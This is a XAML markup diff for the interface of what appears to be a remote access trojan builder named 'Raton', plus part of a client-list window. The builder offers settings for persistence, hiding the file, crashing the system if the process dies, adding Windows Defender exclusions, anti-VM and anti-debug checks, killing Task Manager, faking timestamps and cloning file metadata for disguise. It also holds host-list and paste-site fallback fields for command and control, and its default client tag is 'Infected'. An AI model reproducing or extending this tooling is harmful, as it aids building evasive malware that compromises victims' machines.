<TextBlock x:Name="IcoCommon" Grid.Column="1" Text="" Style="{StaticResource NavIcoActive}"/>
<TextBlock x:Name="LblCommon" Grid.Column="2" Text="Common" Style="{StaticResource NavLblActive}"/>
</Grid>
</Border>
<Border MouseLeftButtonUp="Nav_Network_Click" x:Name="NavNetwork" Style="{StaticResource SideNav}">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Border x:Name="AccNetwork" Grid.Column="0" Style="{StaticResource NavAccent}" Margin="0,0,10,0"/>
<TextBlock x:Name="IcoNetwork" Grid.Column="1" Text="" Style="{StaticResource NavIco}"/>
<TextBlock x:Name="LblNetwork" Grid.Column="2" Text="Network" Style="{StaticResource NavLbl}"/>
</Grid>
</Border>
<Border MouseLeftButtonUp="Nav_Execution_Click" x:Name="NavExecution" Style="{StaticResource SideNav}">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Border x:Name="AccExecution" Grid.Column="0" Style="{StaticResource NavAccent}" Margin="0,0,10,0"/>
<TextBlock x:Name="IcoExecution" Grid.Column="1" Text="" Style="{StaticResource NavIco}"/>
<TextBlock x:Name="LblExecution" Grid.Column="2" Text="Execution" Style="{StaticResource NavLbl}"/>
</Grid>
</Border>
<Border MouseLeftButtonUp="Nav_Assembly_Click" x:Name="NavAssembly" Style="{StaticResource SideNav}">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Border x:Name="AccAssembly" Grid.Column="0" Style="{StaticResource NavAccent}" Margin="0,0,10,0"/>
<TextBlock x:Name="IcoAssembly" Grid.Column="1" Text="" Style="{StaticResource NavIco}"/>
<TextBlock x:Name="LblAssembly" Grid.Column="2" Text="Assembly" Style="{StaticResource NavLbl}"/>
</Grid>
</Border>
<Border MouseLeftButtonUp="Nav_Agreement_Click" x:Name="NavAgreement" Style="{StaticResource SideNav}">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Border x:Name="AccAgreement" Grid.Column="0" Style="{StaticResource NavAccent}" Margin="0,0,10,0"/>
<TextBlock x:Name="IcoAgreement" Grid.Column="1" Text="" Style="{StaticResource NavIco}"/>
<TextBlock x:Name="LblAgreement" Grid.Column="2" Text="Agreement" Style="{StaticResource NavLbl}"/>
</Grid>
</Border>
</StackPanel>
<Border Grid.Row="2" Padding="10,12" BorderBrush="#1E1E1E" BorderThickness="0,1,0,0">
<StackPanel>
<Border MouseLeftButtonUp="Nav_Load_Click" Style="{StaticResource SideNav}">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" Style="{StaticResource NavIco}"/>
<TextBlock Text="Load config" Style="{StaticResource NavLbl}"/>
</StackPanel>
</Border>
<Border MouseLeftButtonUp="Nav_Save_Click" Style="{StaticResource SideNav}">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" Style="{StaticResource NavIco}"/>
<TextBlock Text="Save config" Style="{StaticResource NavLbl}"/>
</StackPanel>
</Border>
</StackPanel>
</Border>
</Grid>
</Border>
<Grid Column="1">
<Grid.RowDefinitions>
<RowDefinition Height="*"/>
<RowDefinition Height="Auto"/>
</Grid.RowDefinitions>
<TabControl x:Name="MainTabs" Grid.Row="0">
<TabItem x:Name="TabCommon">
<ScrollViewer VerticalScrollBarVisibility="Auto">
<Grid Margin="28,24,28,18">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="18"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<StackPanel Grid.Column="0">
<TextBlock Text="Common" Style="{StaticResource SectionTitle}"/>
<Border Style="{StaticResource Card}">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="46"/>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<Border x:Name="IconPreviewBorder" Grid.Column="0" Width="40" Height="40" CornerRadius="7"
Background="#111" HorizontalAlignment="Left">
<Grid>
<TextBlock x:Name="IconPlaceholder" Text="" FontFamily="Segoe MDL2 Assets" FontSize="18" Foreground="White"
HorizontalAlignment="Center" VerticalAlignment="Center"/>
<Image x:Name="IconPreviewImg" Width="28" Height="28" Stretch="Uniform" Visibility="Collapsed"
HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Grid>
</Border>
<StackPanel Grid.Column="1" Margin="12,0,0,0" VerticalAlignment="Center">
<TextBlock Text="Client icon" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Browse .ico or extract from .exe" Style="{StaticResource RowHint}"/>
</StackPanel>
<Button Click="BtnBrowseIcon_Click" x:Name="BtnBrowseIcon" Grid.Column="2" Content="Browse"
Style="{StaticResource BtnBase}" VerticalAlignment="Center"/>
</Grid>
</Border>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="BEHAVIOUR" Style="{StaticResource GroupTitle}"/>
<Grid Margin="0,0,0,12">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Startup" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Register on every restart" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogStartup" Grid.Column="1" Style="{StaticResource ToggleSwitch}"
VerticalAlignment="Center"/>
</Grid>
<Separator/>
<Grid Margin="0,12,0,12">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Hide file" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Hide client in user folder" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogHideFile" Grid.Column="1" Style="{StaticResource ToggleSwitch}"
VerticalAlignment="Center"/>
</Grid>
<Separator/>
<Grid Margin="0,12,0,12">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Process critical" Style="{StaticResource RowTitle}"/>
<TextBlock Text="BSOD if the process dies" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogProCri" Grid.Column="1" Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
<Separator/>
<Grid Margin="0,12,0,12">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Defender exclusion" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Add process to WD exclusions" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogDefender" Grid.Column="1" Style="{StaticResource ToggleSwitch}"
VerticalAlignment="Center"/>
</Grid>
<Separator/>
<Grid Margin="0,12,0,0">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Obfuscate (AGO)" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Rename obfuscation pass" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogObf" Grid.Column="1" Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
</StackPanel>
</Border>
</StackPanel>
<StackPanel Grid.Column="2">
<TextBlock Text=" " FontSize="17" Margin="0,0,0,20"/>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="IDENTITY" Style="{StaticResource GroupTitle}"/>
<TextBlock Text="Client tag" Style="{StaticResource RowTitle}" Margin="0,0,0,4"/>
<TextBlock Text="Name shown in the panel" Style="{StaticResource RowHint}" Margin="0,0,0,8"/>
<TextBox x:Name="TxtTag" Text="Infected" Margin="0,0,0,14"/>
<TextBlock Text="Connection delay (sec)" Style="{StaticResource RowTitle}" Margin="0,0,0,4"/>
<TextBlock Text="Wait before first connect" Style="{StaticResource RowHint}" Margin="0,0,0,8"/>
<TextBox x:Name="TxtDelay" Text="0"/>
</StackPanel>
</Border>
<Border Style="{StaticResource Card}">
<StackPanel>
<Grid Margin="0,0,0,8">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Password lock" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Require password to connect" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton Checked="TogPassword_Changed" Unchecked="TogPassword_Changed" x:Name="TogPassword" Grid.Column="1"
Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
<TextBox x:Name="TxtPassword" IsEnabled="false"/>
</StackPanel>
</Border>
<Border Style="{StaticResource Card}">
<StackPanel>
<Grid Margin="0,0,0,8">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Fake creation date" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Modify file timestamps" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton Checked="TogDate_Changed" Unchecked="TogDate_Changed" x:Name="TogDate" Grid.Column="1"
Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
<DatePicker x:Name="DatePicker1" IsEnabled="false" Background="#1A1A1A" Foreground="White"
BorderBrush="#2C2C2C"/>
</StackPanel>
</Border>
</StackPanel>
</Grid>
</ScrollViewer>
</TabItem>
<TabItem x:Name="TabNetwork">
<ScrollViewer VerticalScrollBarVisibility="Auto">
<Grid Margin="28,24,28,18">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="18"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<StackPanel Grid.Column="0">
<TextBlock Text="Network" Style="{StaticResource SectionTitle}"/>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="HOST LIST" Style="{StaticResource GroupTitle}"/>
<TextBlock Text="IP : Port" Style="{StaticResource RowTitle}" Margin="0,0,0,4"/>
<TextBlock Text="Press Enter or Add" Style="{StaticResource RowHint}" Margin="0,0,0,8"/>
<Grid Margin="0,0,0,8">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="8"/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="6"/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="6"/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<TextBox KeyDown="TxtHost_KeyDown" x:Name="TxtHost" Text="127.0.0.1:8080" Grid.Column="0"/>
<Button Click="BtnGetIP_Click" Grid.Column="2" Content="My IP" Style="{StaticResource BtnBase}"/>
<Button Click="BtnAddHost_Click" Grid.Column="4" Content="Add" Style="{StaticResource BtnBase}"/>
<Button Click="BtnRemoveHost_Click" Grid.Column="6" Content="Remove" Style="{StaticResource BtnDanger}"/>
</Grid>
<ListBox x:Name="HostList" Height="100"/>
</StackPanel>
</Border>
</StackPanel>
<StackPanel Grid.Column="2">
<TextBlock Text=" " FontSize="17" Margin="0,0,0,20"/>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="PASTE FALLBACK" Style="{StaticResource GroupTitle}"/>
<TextBlock Text="Raw paste link (optional)" Style="{StaticResource RowTitle}" Margin="0,0,0,4"/>
<TextBlock Text="Client reads this URL if connection fails" Style="{StaticResource RowHint}" Margin="0,0,0,8"/>
<TextBox x:Name="TxtPasteLink" Text="https://paste.ee/d/dQKrJpQJ"/>
</StackPanel>
</Border>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="RECONNECT" Style="{StaticResource GroupTitle}"/>
<TextBlock Text="Delay between retries (sec)" Style="{StaticResource RowTitle}" Margin="0,0,0,4"/>
<TextBlock Text="Minimum 3 seconds" Style="{StaticResource RowHint}" Margin="0,0,0,8"/>
<TextBox x:Name="TxtReconnect" Text="3"/>
</StackPanel>
</Border>
</StackPanel>
</Grid>
</ScrollViewer>
</TabItem>
<TabItem x:Name="TabExecution">
<ScrollViewer VerticalScrollBarVisibility="Auto">
<Grid Margin="28,24,28,18">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="18"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<StackPanel Grid.Column="0">
<TextBlock Text="Execution" Style="{StaticResource SectionTitle}"/>
<Border Style="{StaticResource Card}">
<StackPanel>
<Grid Margin="0,0,0,10">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Message box" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Shown when payload first runs" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton Checked="TogMsgBox_Changed" Unchecked="TogMsgBox_Changed" x:Name="TogMsgBox" Grid.Column="1"
Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
<TextBox x:Name="TxtMsgTitle" IsEnabled="false" Text="Hello World" Margin="0,0,0,6"/>
<TextBox x:Name="TxtMsgBody" IsEnabled="false" Text="I'm the message box description" TextWrapping="Wrap"
AcceptsReturn="true" Height="66" VerticalScrollBarVisibility="Auto" Margin="0,0,0,10"/>
<TextBlock Text="Icon type:" Foreground="#555" FontSize="11" Margin="0,0,0,6"/>
<WrapPanel>
<RadioButton x:Name="RbIconError" Content="Error" GroupName="MsgIcon" IsChecked="True"/>
<RadioButton x:Name="RbIconInfo" Content="Info" GroupName="MsgIcon"/>
<RadioButton x:Name="RbIconWarn" Content="Warning" GroupName="MsgIcon"/>
<RadioButton x:Name="RbIconQst" Content="Question" GroupName="MsgIcon"/>
<RadioButton x:Name="RbIconNone" Content="None" GroupName="MsgIcon"/>
</WrapPanel>
</StackPanel>
</Border>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="PROTECTION" Style="{StaticResource GroupTitle}"/>
<Grid Margin="0,0,0,12">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Anti-Analysis" Style="{StaticResource RowTitle}"/>
<TextBlock Text="VM / Sandbox / Debug / Decompile" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogAntiVM" Grid.Column="1" Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
<Separator/>
<Grid Margin="0,12,0,0">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Request UAC" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Mark exe as requiring elevation" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogUAC" Grid.Column="1" Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
</StackPanel>
</Border>
</StackPanel>
<StackPanel Grid.Column="2">
<TextBlock Text=" " FontSize="17" Margin="0,0,0,20"/>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="ACTIONS" Style="{StaticResource GroupTitle}"/>
<Grid Margin="0,0,0,12">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Block Task Manager" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Kill Task Manager on launch" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton x:Name="TogBlockTask" Grid.Column="1" Style="{StaticResource ToggleSwitch}"
VerticalAlignment="Center"/>
</Grid>
<Separator/>
<Grid Margin="0,12,0,8">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Open website" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Open a URL on execution" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton Checked="TogWebsite_Changed" Unchecked="TogWebsite_Changed" x:Name="TogWebsite" Grid.Column="1"
Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
</Grid>
<TextBox x:Name="TxtWebsite" IsEnabled="false" Text="https://t.me/example"/>
</StackPanel>
</Border>
</StackPanel>
</Grid>
</ScrollViewer>
</TabItem>
<TabItem x:Name="TabAssembly">
<ScrollViewer VerticalScrollBarVisibility="Auto">
<Grid Margin="28,24,28,18">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="18"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<StackPanel Grid.Column="0">
<TextBlock Text="Assembly" Style="{StaticResource SectionTitle}"/>
<Border Style="{StaticResource Card}">
<StackPanel>
<Grid Margin="0,0,0,14">
<Grid.ColumnDefinitions>
<ColumnDefinition/>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition Width="8"/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel>
<TextBlock Text="Modify assembly" Style="{StaticResource RowTitle}"/>
<TextBlock Text="Clone or edit file version info" Style="{StaticResource RowHint}"/>
</StackPanel>
<ToggleButton Checked="TogAssembly_Changed" Unchecked="TogAssembly_Changed" x:Name="TogAssembly" Grid.Column="1"
Style="{StaticResource ToggleSwitch}" VerticalAlignment="Center"/>
<Button Click="BtnClone_Click" x:Name="BtnClone" Grid.Column="3" Content="Clone from EXE"
Style="{StaticResource BtnBase}" IsEnabled="false"/>
</Grid>
<TextBlock Text="Product name" Style="{StaticResource RowHint}" Margin="0,0,0,3"/>
<TextBox x:Name="TxtAsmProduct" IsEnabled="false" Margin="0,0,0,10"/>
<TextBlock Text="Description" Style="{StaticResource RowHint}" Margin="0,0,0,3"/>
<TextBox x:Name="TxtAsmDescrip" IsEnabled="false" Margin="0,0,0,10"/>
<TextBlock Text="Company" Style="{StaticResource RowHint}" Margin="0,0,0,3"/>
<TextBox x:Name="TxtAsmCompany" IsEnabled="false"/>
</StackPanel>
</Border>
</StackPanel>
<StackPanel Grid.Column="2">
<TextBlock Text=" " FontSize="17" Margin="0,0,0,20"/>
<Border Style="{StaticResource Card}">
<StackPanel>
<TextBlock Text="FILE INFO" Style="{StaticResource GroupTitle}"/>
<TextBlock Text="Copyright" Style="{StaticResource RowHint}" Margin="0,0,0,3"/>
<TextBox x:Name="TxtAsmCopyright" IsEnabled="false" Margin="0,0,0,10"/>
<TextBlock Text="Original filename (process name)" Style="{StaticResource RowHint}" Margin="0,0,0,3"/>
<TextBox x:Name="TxtAsmFilename" IsEnabled="false" Margin="0,0,0,10"/>
<TextBlock Text="Version" Style="{StaticResource RowHint}" Margin="0,0,0,3"/>
<TextBox x:Name="TxtAsmVersion" IsEnabled="false"/>
</StackPanel>
</Border>
</StackPanel>
</Grid>
</ScrollViewer>
</TabItem>
<TabItem x:Name="TabAgreement">
<Border Background="#0F0F0F" Margin="0">
<TextBox x:Name="TxtAgreement" Background="Transparent" Foreground="#4A4A4A" BorderThickness="0"
IsReadOnly="true" TextWrapping="Wrap" AcceptsReturn="true" VerticalScrollBarVisibility="Auto"
FontFamily="Consolas" FontSize="11.5" Padding="28,24" Text="[Agreement text loaded at runtime]"/>
</Border>
</TabItem>
</TabControl>
<Border Grid.Row="1" Background="#0E0E0E" BorderBrush="#1E1E1E" BorderThickness="0,1,0,0" Padding="22,16">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="16"/>
<ColumnDefinition Width="*"/>
</Grid.ColumnDefinitions>
<Button Click="BtnBuildLight_Click" x:Name="BtnBuildLight" Grid.Column="0"
Style="{StaticResource BuildBtn}" Background="#5C3D8F" Tag="">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="Build lightweight" FontWeight="SemiBold" VerticalAlignment="Center"/>
<TextBlock Text=" Around 90 KB" Foreground="#9070C0" FontSize="11"
VerticalAlignment="Center"/>
</StackPanel>
</Button>
<Button Click="BtnBuildPacked_Click" x:Name="BtnBuildPacked" Grid.Column="2"
Style="{StaticResource BuildBtn}" Background="#5C3D8F" Tag="">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="*"/>
<ColumnDefinition Width="Auto"/>
</Grid.ColumnDefinitions>
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="Build packaged" FontWeight="SemiBold" VerticalAlignment="Center"/>
<TextBlock Text=" Around 3.7 MB" Foreground="#9070C0" FontSize="11" VerticalAlignment="Center"/>
</StackPanel>
<Border Grid.Column="1" CornerRadius="4" Background="#3D2B60" Padding="7,3" VerticalAlignment="Center">
<TextBlock Text="RECOMMENDED" Foreground="#A87FE8" FontSize="9.5" FontWeight="Bold"/>
</Border>
</Grid>
</Button>
</Grid>
</Border>
</Grid>
</Grid>
</Window>
+308
View File
@@ -0,0 +1,308 @@
<Window x:Class="Raton.Windows.ClientFolders"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:local="clr-namespace:Raton.Windows"
Loaded="Window_Loaded" Title="Clients" Width="640" Height="520" MinWidth="420" MinHeight="340"
Background="#1E1E1E" WindowStartupLocation="CenterOwner" ResizeMode="CanResize"
Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#3A2D5A"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightBrushKey}" Color="#2E2240"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.ControlBrushKey}" Color="#1E1E1E"/>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#CCCCCC"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
<Style TargetType="{x:Type DataGridColumnHeader}">
<Setter Property="Control.Background" Value="#2A2A2A"/>
<Setter Property="Control.Foreground" Value="#888888"/>
<Setter Property="Control.FontSize" Value="11"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Height" Value="28"/>
<Setter Property="Control.Padding" Value="10,0"/>
<Setter Property="Control.BorderBrush" Value="#333333"/>
<Setter Property="Control.BorderThickness" Value="0,0,1,1"/>
<Setter Property="FrameworkElement.Cursor" Value="Arrow"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGridColumnHeader}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}"
Padding="{TemplateBinding Control.Padding}">
<ContentPresenter VerticalAlignment="Center"/>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type DataGridRow}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Height" Value="38"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGridRow}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" BorderBrush="#2A2A2A"
BorderThickness="0,0,0,1">
<SelectiveScrollingGrid>
<DataGridCellsPresenter/>
</SelectiveScrollingGrid>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#2A2A2A"/>
</Trigger>
<Trigger Property="DataGridRow.IsSelected" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A2D5A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style TargetType="{x:Type DataGridCell}">
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.FocusVisualStyle" Value="{x:Null}"/>
<Setter Property="Control.Padding" Value="4,0"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGridCell}">
<Border Background="Transparent" Padding="{TemplateBinding Control.Padding}">
<ContentPresenter VerticalAlignment="Center"/>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="FoldersGrid" TargetType="{x:Type DataGrid}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.BorderBrush" Value="#333333"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="DataGrid.GridLinesVisibility" Value="None"/>
<Setter Property="DataGrid.RowHeaderWidth" Value="0"/>
<Setter Property="DataGrid.CanUserAddRows" Value="false"/>
<Setter Property="DataGrid.CanUserDeleteRows" Value="false"/>
<Setter Property="DataGrid.CanUserResizeRows" Value="false"/>
<Setter Property="DataGrid.AutoGenerateColumns" Value="false"/>
<Setter Property="DataGrid.SelectionMode" Value="Single"/>
<Setter Property="DataGrid.IsReadOnly" Value="true"/>
<Setter Property="DataGrid.EnableColumnVirtualization" Value="false"/>
<Setter Property="DataGrid.EnableRowVirtualization" Value="true"/>
<Setter Property="VirtualizingPanel.IsVirtualizing" Value="true"/>
<Setter Property="VirtualizingPanel.VirtualizationMode" Value="Recycling"/>
<Setter Property="ScrollViewer.CanContentScroll" Value="true"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type DataGrid}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6" ClipToBounds="true">
<ScrollViewer x:Name="DG_ScrollViewer" Focusable="false" HorizontalScrollBarVisibility="Disabled"
VerticalScrollBarVisibility="Auto">
<Control.Template>
<ControlTemplate TargetType="{x:Type ScrollViewer}">
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="Auto"/>
<RowDefinition Height="*"/>
</Grid.RowDefinitions>
<DataGridColumnHeadersPresenter x:Name="PART_ColumnHeadersPresenter" Grid.Row="0"/>
<ScrollContentPresenter x:Name="PART_ScrollContentPresenter" Grid.Row="1"
CanContentScroll="{TemplateBinding ScrollViewer.CanContentScroll}"/>
<ScrollBar x:Name="PART_VerticalScrollBar" Grid.Row="1" Orientation="Vertical" HorizontalAlignment="Right"
Visibility="{TemplateBinding ScrollViewer.ComputedVerticalScrollBarVisibility}"
Maximum="{TemplateBinding ScrollViewer.ScrollableHeight}"
ViewportSize="{TemplateBinding ScrollViewer.ViewportHeight}"
Value="{TemplateBinding ScrollViewer.VerticalOffset}"/>
</Grid>
</ControlTemplate>
</Control.Template>
<ItemsPresenter/>
</ScrollViewer>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="SearchBox" TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="TextBoxBase.CaretBrush" Value="#CCCCCC"/>
<Setter Property="Control.BorderBrush" Value="#3A3A3A"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.Padding" Value="36,0,12,0"/>
<Setter Property="FrameworkElement.Height" Value="36"/>
<Setter Property="Control.FontSize" Value="13"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type TextBox}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6">
<ScrollViewer x:Name="PART_ContentHost" Margin="{TemplateBinding Control.Padding}" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter Property="Control.BorderBrush" Value="#7B5EA7"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="BackButton" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="FrameworkElement.Width" Value="28"/>
<Setter Property="FrameworkElement.Height" Value="28"/>
<Setter Property="FrameworkElement.Margin" Value="0,0,8,0"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="Transparent" CornerRadius="5">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A2D5A"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#2E2240"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
